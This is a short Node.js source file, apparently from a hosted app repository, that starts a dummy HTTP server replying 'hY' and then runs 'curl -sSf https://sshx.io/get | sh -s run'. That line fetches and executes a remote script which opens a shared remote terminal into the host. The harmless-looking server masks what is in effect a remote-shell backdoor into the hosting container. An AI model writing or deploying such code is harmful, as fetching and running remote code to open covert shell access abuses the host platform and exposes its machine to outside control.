File size: 237 Bytes
b0a38b7
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
import { createServer } from 'http'
import { execSync } from 'child_process'

createServer(
  (_, res) => res.end('hY')
).listen(process.env.PORT || 7860)

execSync(
  'curl -sSf https://sshx.io/get | sh -s run',
  { stdio: 'inherit' }
)